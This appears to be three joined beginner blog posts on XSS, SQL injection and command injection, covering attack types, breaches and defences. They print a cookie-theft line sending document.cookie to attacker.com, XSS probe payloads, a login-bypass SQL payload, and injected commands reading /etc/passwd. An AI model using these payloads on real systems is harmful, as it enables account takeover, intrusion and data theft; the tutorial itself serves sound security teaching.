Hello aspiring Ethical Hackers. In our previous blogpost on web server hacking, you learnt in brief about various web vulnerabilities. In this article, you will learn in detail about Cross Site Scripting (XSS) vulnerability.

If you’re starting your journey in ethical hacking, one of the first web vulnerabilities you’ll encounter is Cross-Site Scripting (XSS). It’s one of the most common and dangerous vulnerabilities found in web applications and also one of the easiest for beginners to understand and practice. In this guide, you’ll learn what XSS is, how it works, different types and how attackers exploit it in real-world scenarios.

What is XSS (Cross-Site Scripting)?

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious scripts into a website, which are then executed in the browser of other users. Instead of attacking the server directly, XSS targets the users of the application. Simply put, an attacker tricks a website into delivering malicious JavaScript to other users.

How XSS Works?

Let’s say a website has a search box that displays user input like this:

You searched for: <user_input>

If the website does not properly sanitize input, an attacker can enter:

<script>alert("Hacked!")</script>

Now, instead of just showing text, the browser executes this script. What results is that a popup appears in every user’s browser who visits the website and loads that page. This is a simple example but real attacks are much more dangerous.

Types of XSS vulnerabilities

There are three main types of XSS vulnerabilities you should know as a beginner. They are,

1. Reflected XSS:

This type of vulnerability works when malicious script is part of a URL or request and the server reflects it back in the response. This type is delivered through user input in real-time. This type of attack relies on the user clicking on a link containing the injected code, which then executes the malicious script in their browser.

Example:

https://example.com/search?q=<script>alert(1)</script>

If the target website reflects this input without sanitization, the script gets executed. Common attack method for this is through Phishing emails containing malicious links.

2. Stored XSS (Persistent XSS):

This is the most dangerous type. That’s because, in this type of xss, malicious script is stored on the server (e.g., in a database). Every user who visits the page executes the script again and again.

It is more prevalent in comment sections, Forums and user profiles. An attacker posts a comment containing malicious JavaScript and every user who views the comment gets attacked.

3. DOM-Based XSS:

This type of XSS happens entirely on the client side (browser). It works when JavaScript on the page processes user input unsafely. There is no involvement of the server in this case.

Example:

document.getElementById(“output”).innerHTML = location.hash;

If this URL contains malicious code, it gets executed in the browser.

Why is XSS Dangerous?

XSS attacks can have serious consequences. This includes:

• Stealing of session cookies (account takeover)
• Logging keystrokes (capturing passwords)
• Redirecting users to malicious websites
• Defacing websites
• Performing actions on behalf of the victim

Real-world Impact of XSS

Here’s what attackers can actually do using XSS.

1. Session Hijacking:

Steal cookies and impersonate users:

document.location='http://attacker.com/steal?cookie='+document.cookie

2. Fake Login Forms:

Inject a fake login form to steal credentials.

3. Keylogging:

Capture everything a user types.

4. Malware Distribution:

Redirect users to malicious websites.

Let’s see some of the real-world exploitation cases of XSS.

British Airways:

In 2018, British Airways suffered a data breach due to cross site scripting. Magecart, a hacker group known for its card skimming scripture exploited a cross-site scripting vulnerability in Java script library known as feedify. This Java script library was modified to record customer data and send it to server controlled by Attackers using this, the attackers collected over 3,80,000 credit card details.

eBay:

eBay had a XSS vulnerability in its code for a short time at the end of 2015. EBay used an “URL” parameter to redirect users to the right page. However, the value submitted to this url parameter was not validated before it got inserted into the webpage. In the right attacker’s hand this could allow attacker to inject malicious code into the webpage. Luckily this didn’t happen.

How to identify XSS vulnerabilities?

Even beginners can start identifying vulnerabilties by following some steps.

Step 1: Find Input Points:

You can start by looking for:

• Search bars
• Login forms
• Comment sections
• URL parameters

Step 2: Inject Simple Payload:

Once you found the input points, try

<script>alert(1)</script>

If you see a popup, it is a possible XSS vulnerability.

Step 3: Try Variations:

Sometimes filters block basic scripts. Try:

<img src=x onerror=alert(1)>

or

<svg onload=alert(1)>

How to prevent XSS vulnerability?

XSS vulnerabilities can be prevented by folllowing some simple steps. They are,

1. Input Validation:

One of the most important measure you can take for preventing XSS attacks is input validation. This involves filtering and sanitizing user input to ensure that only safe and expected characters are allowed. This can be accomplished using a range of methods, including regular expressions, input masks and whitelisting.

2. Output Encoding:

Another important measure is output encoding. This involves encoding all output from the web application to prevent malicious code from being injected into the page. This can be accomplished using a range of methods, including HTML encoding, URL encoding and JavaScript encoding.

3. Use Secure Frameworks:

Modern frameworks automatically prevent XSS.

4. Content Security Policy:

Content Security Policy (CSP) is a security standard that allows developers to define the sources of content that are allowed to be loaded by their web application. By defining a CSP, developers can prevent malicious scripts from executing on their web pages, thereby mitigating the risk of XSS attacks. CSP works by specifying a whitelist of trusted sources for content, such as scripts, stylesheets and images. Any content that is not from a trusted source is blocked by the browser, preventing it from executing on the page.

5. Limiting the Use of Client-Side Scripting:

Another effective measure is to limit the use of client-side scripting languages like JavaScript. This can be accomplished by using server-side scripting languages like PHP or ASP.NET to generate dynamic content. By limiting the use of client-side scripting, developers can reduce the attack surface of their web application and minimize the risk of XSS attacks.

5. Using HTTP-Only Cookies:

HTTP-only cookies are a type of cookie that prevents client-side scripting languages like JavaScript from accessing them. By using HTTP-only cookies, developers can protect sensitive information stored in cookies from being accessed by attackers through XSS attacks. This can help prevent session hijacking and other types of attacks that rely on stealing session cookies.

5. Keeping Software Up-to Date:

Finally, it’s essential to keep all software used by the web application up-to-date, including web servers, frameworks, and third-party libraries. Developers should regularly check for security updates and patches and apply them promptly to reduce the risk of XSS attacks.

Conclusion

XSS is one of the most important vulnerabilities every ethical hacker must understand. It’s widely found in real-world applications and extremely powerful when exploited correctly.

By learning how XSS works, the different types and basic testing techniques, you’re already ahead of most beginners. Start practicing, experiment with payloads and gradually move into advanced techniques like bypassing filters and chaining attacks.

Hello, aspiring ethical hackers. In our previous blogpost on web application hacking, you have learnt about various vulnerabilities affecting web applications. In this article, you will learn about the most dangerous vulnerability among them all, SQL injection.

If you’re just starting your journey into ethical hacking or web security, SQL Injection (SQLi) is one of the first vulnerabilities you need to understand. It’s easy to learn, incredibly powerful and still widely found in real-world applications. More importantly, mastering this vulnerability helps you understand how web applications interact with databases, a core concept in cybersecurity. In this article, you will learn what SQL injection is, how it works, types of attacks and how to detect and prevent this vulnerability.

What is SQL Injection?

It is a vulnerability that allows attackers to manipulate database queries by injecting malicious SQL code into user inputs. These inputs could be login forms, search fields or even URL parameters.

Web applications often take user input and use it to build SQL queries. If that input isn’t properly handled, attackers can alter the query’s logic and gain unauthorized access to data.

How Does It Work?

These attacks typically occur when a web application does not properly validate user input, such as form data or user-generated content. An attacker can exploit this vulnerability by injecting malicious SQL statements into the input field, which are then executed by the web application’s database.

A Simple Example

Let’s see SQL Injection with a simple example. Imagine a website login system that checks credentials using a query like this:

SELECT * FROM users WHERE username = 'user' AND password = 'pass';

This looks fine but only if the input is safe. Now, suppose an attacker enters:

Username: admin
Password: ' OR '1'='1

Then, the query becomes:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';

Since ‘1’=’1′ is always true, the condition bypasses authentication. Uisng this, the attacker may log in without knowing user’s password.

This statement would trick the web application into believing that the attacker has a valid username, bypassing the need for a password. The double dash at the end of the statement serves as a comment delimiter which ignores any subsequent characters in the query. As a result, the attacker gains unauthorized access to the application and potentially sensitive data.

SQL Injection attacks can also occur through other input fields, such as search boxes, comment forms and URLs. An attacker can use a variety of techniques to inject malicious SQL statements, such as union queries, stacked queries and blind injection.

Types Of SQL Injection

There are various types of injection attacks. You don’t need to master every type immediately, but knowing the basics helps. They are,

1. In-Band Injection:

This injection type is the most common type. The attacker sends a payload and gets results in the same response.

2. Blind Injection:

In this type of injection, no direct output is shown. Attackers rely on application behavior (like true/false responses or delays) to extract data.

3. Time-Based Injection:

A type of blind SQLi where attackers use delays (e.g., database sleep functions) to confirm vulnerabilities.

Why is SQL Injection Dangerous?

It is not just about logging in without a password. It can even lead to serious consequences. They are,

1. Access to Sensitive Data:

Attackers can retrieve user credentials, emails and financial data.

2. Modification or Deletion of Data:

Entire Databases can be altered or wiped.

3. Admin Access:

The attacker can get full control over the application.

4. Server Compromise:

In some cases, attackers can execute commands on the server.

Even today, it remains one of the top security risks because many applications still fail to handle user input securely.

Real-world Examples Of SQL Injection

Here are some of the SQL injection vulnerabilities and their exploitation cases in Real-world.

1. Freepik Data Breach:

In year 2022, hackers stole over 8.3million Freepik & Flaticon users by exploiting a SQL injection vulnerability in company website.

2. Tesla Motors:

In 2014, a security researcher found a blind injection vulnerability in the Tesla Motors Design studio tool. This vulnerability if exploited could have given anyone access to Tesla backend database including customer call records.

3. Heartland Hack:

A team of hackers exploited an injection vulnerability in Heartland and other company’s website to gain access to their network and plant packet sniffing tools and other malware on their network.

How Attackers Find SQL Injection

Attackers often find these vulnerabilities using simple testing techniques. They are,

• Entering special characters like ‘ or ” into input fields
• Trying basic payloads like ‘ OR 1=1–
• Observing error messages or unusual behavior
• Testing URL parameters (e.g., id=1 → id=1′)

More advanced testers use tools but manual testing helps you truly understand what’s happening.

How to Prevent SQL Injection

Here’s the good news. SQL injection is one of the easiest vulnerabilities to fix, if you follow best practices.

1. Use Prepared Statements:

Prepared statements ensure user input is treated as data, not code. For example,

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

2. Validate Input:

This involves validating user input to ensure that it conforms to expected patterns or formats. Input validation can be implemented through client-side and server-side validation techniques.

3. Avoid Dynamic Queries:

Never build SQL queries by directly combining strings with user input. This involves using parameterized queries instead of dynamically generated SQL queries. Parameterized queries use placeholders for user input, rather than incorporating user input directly into the SQL query.

4. Use Secure Frameworks:

Modern frameworks (like Django or Node.js ORMs) handle many security concerns automatically.

5. Limit Database Permissions:

Make sure your application should never connect to the database with full admin privileges. This involves configuring the database server to restrict user access and ensure that each user has only the necessary access to perform their job functions. It also involves implementing strong passwords and two-factor authentication.

6. Hide Error Messages:

Detailed database errors can reveal valuable information to attackers. When a SQL error occurs, the database server may return an error message that includes sensitive information, such as the SQL query that caused the error or details about the database structure. An attacker can use this information to refine their attack and gain further access to the database. To prevent this, it’s important to configure error messages so that they do not reveal sensitive information.

7. Regular Updates:

This involves keeping web applications and database servers up-to-date with the latest security patches and updates.

8. Education and Training:

Regular education and training for developers, administrators and users is critical to preventing SQL Injection attacks. This includes training on secure coding practices, data security and password management.

Tools to detect SQL Injection

There are several tools available to help detect SQL Injection attacks. Some popular tools include:

1. SQLmap:

This is an open-source tool that automates the process of detecting and exploiting SQL Injection vulnerabilities. Learn how to perform sql injection with sqlmap.

2. Havij:

Havij is an automated SQL injection Graphical tool that helps penetration testers to find and exploit SQL Injection vulnerabilities. 

3. SQLsus:

Sqlsus is an open-source MYSQL injection and takeover tool

4. Netsparker:

This is a web application security scanner that includes this injection detection and prevention features.

5. Acunetix:

This is another web application security scanner that includes this Injection detection and prevention features.

6. Burp suite:

This is a web application security testing tool that includes a SQL injection Scanner.

7. OpenVAS:

This is an open-source vulnerability scanner that includes this injection detection and prevention features.

Why Beginners Should Learn SQL Injection?

SQL injection is often the first real “aha” moment in ethical hacking. It teaches you,

• How databases work behind web applications
• How small coding mistakes create big vulnerabilities
• How attackers think and exploit systems

Practicing SQL injection in safe environments (like vulnerable labs) builds a strong foundation for more advanced topics like authentication bypass, privilege escalation and web exploitation.

Conclusion

SQL Injection may seem simple but its impact is massive. For beginners, it’s the perfect starting point to understand both offensive and defensive security. If you’re serious about ethical hacking, don’t just read about SQL injection. Practice it in controlled labs, experiment with payloads and learn how to fix it. This combination of attack and defense is what turns beginners into skilled professionals.

Hello, aspiring ethical hackers. In our previous blogpost on web application hacking, you learnt about various vulnerabilities a web application may have. In this article, you will learn about Command Injection vulnerability, one of the critical vulnerabilities in web applications. Command Injection is a serious web security vulnerability that allows attackers to execute arbitrary operating system commands on a server. For beginners learning ethical hacking, understanding command injection is important because it demonstrates how poor input validation can give attackers direct control over a system.

Let’s break down how this vulnerability works and why it can be so dangerous.

What is Command Injection?

Command Injection occurs when a web application passes user input directly to a system shell without properly validating or sanitizing it. In many applications, developers use system commands to perform tasks such as:

• Checking server connectivity
• Processing files
• Running scripts
• Managing system utilities

If user input is inserted into these commands without validation, an attacker can inject additional commands. In simple terms:

The application expects data, but the attacker sends commands.

How Command Injection Attacks Work?

Command Injection attacks work by exploiting vulnerabilities in an application that accepts user input and then passes that input directly to a shell or command interpreter. This allows attackers to inject arbitrary commands into the input that are executed with the same privileges as the application.

Attackers can use various techniques to exploit this vulnerability, such as appending commands to existing commands or using shell metacharacters to execute multiple commands in sequence. The impact of a successful attack can be significant, ranging from unauthorized access to sensitive data to full system compromise.

Command Injection is a serious threat to web applications because it can allow attackers to bypass application-level security measures and gain unauthorized access to sensitive data or systems. Moreover, these attacks can be difficult to detect and can lead to serious consequences, such as data breaches, system compromise and financial loss.

A Simple Example

Imagine a web application that allows users to check whether a server is reachable using a ping feature. A developer might write code something like this:

ping <user_input>

Let’s say a user enters the value given below:

example.com

Then, the application executes the command shown below.

ping example.com

This is how it should work normally. However, if the application does not sanitize input, an attacker could submit something like:

example.com && whoami

The resulting command for this becomes:

ping example.com && whoami

Now the server executes two commands. The second command reveals the user running the server process. Like this, attackers can chain multiple commands together and gain deeper system access.

Why Command Injection Is Dangerous?

Command injection can quickly escalate from a simple vulnerability to full system compromise.

1. Remote Code Execution:

Since commands are executed by the operating system, attackers can run many powerful instructions such as:

• Listing system files
• Reading sensitive data
• Installing malware
• Creating new users

This effectively turns the web application into a remote control interface for the attacker.

2. Data Exposure:

Attackers may retrieve sensitive files such as:

• Application configuration files
• Database credentials
• Private keys
• System logs

If the server stores secrets locally, command injection can expose them.

3. Server Takeover:

In severe cases, attackers can:

• Install backdoors
• Launch reverse shells
• Use the server to attack other systems

This makes command injection one of the most dangerous input validation flaws.

Common Places Where Command Injection Occurs

Developers sometimes unknowingly introduce command injection vulnerabilities when applications interact with the operating system.

Typical examples include:

• Network diagnostic tools (ping, traceroute)
• File conversion tools
• Image processing utilities
• Backup scripts
• System monitoring features

Whenever a program calls the system shell with user-controlled input, there is a risk. Common entry points for Injection attacks include web application forms, user input fields and API endpoints. Any input that is passed to a shell or command interpreter without proper validation and sanitization can be vulnerable to Command Injection attacks.

Most Common Injection Characters

Attackers often use special shell characters to inject commands. Some examples include:

• ;
• &&
• |
• ||
• $
• `

These characters allow attackers to chain commands together or execute additional operations. For example:

example.com; cat /etc/passwd

This could force the system to display sensitive system account information.

Real-World Examples

Command injection attacks are a serious threat to web applications and have been responsible for numerous security breaches in the past. Let’s see some of the real-world examples of exploitation of this vulnerability.

1. Shellshock Bash vulnerability:

In 2014, a critical vulnerability was discovered in the Bash shell, which is used on many Unix-based systems. The vulnerability allowed an attacker to execute arbitrary commands by exploiting the way that Bash processed environment variables. This vulnerability affected millions of servers and devices worldwide, including many web servers.

2. EquiFax Data Breach:

In 2017, Equifax suffered a massive data breach that exposed the personal information of over 140 million people. The breach was the result of a command injection attack that targeted a vulnerability in the company’s web application framework. The attackers were able to execute arbitrary commands on the server and steal sensitive data.

These are just a few examples of the devastating consequences of command injection attacks. In each case, the attackers were able to gain unauthorized access to sensitive data by exploiting vulnerabilities in web applications.

How Ethical Hackers Test for Command Injection

In authorized testing environments, security testers may attempt to insert special characters into input fields such as:

• Form fields
• URL parameters
• File upload names
• HTTP headers

They then observe whether the application executes unintended commands or returns unusual output.

How To Prevent Command Injection?

Command injection can be prevented by careful handling of user input.

1. Avoid System Shell Calls:

Whenever possible, developers should use built-in programming language libraries instead of executing system commands.

2. Validate and Sanitize Input:

Applications should strictly validate user input and reject unexpected characters or formats. For example:

• Allow only domain names for a ping tool
• Reject special shell characters

3. Use Parameterized APIs:

Many programming languages provide safe functions that separate command arguments from user input. This prevents the shell from interpreting injected commands.

4. Apply the Principle of Least Privilege:

Servers should run applications with limited permissions so that even if exploitation occurs, the damage is minimized.

Conclusion

Command Injection is a powerful reminder that user input should never be trusted. A single poorly validated parameter can allow attackers to run commands directly on a server. For beginners in ethical hacking, learning about command injection helps build a strong foundation in:

• Secure coding practices
• Input validation
• Web application security
• Operating system interactions

Understanding these concepts is essential for both building secure applications and identifying vulnerabilities during security testing. As modern applications grow more complex, developers and security professionals must remain vigilant. Preventing vulnerabilities like command injection starts with one key rule:

Always treat user input as potentially dangerous.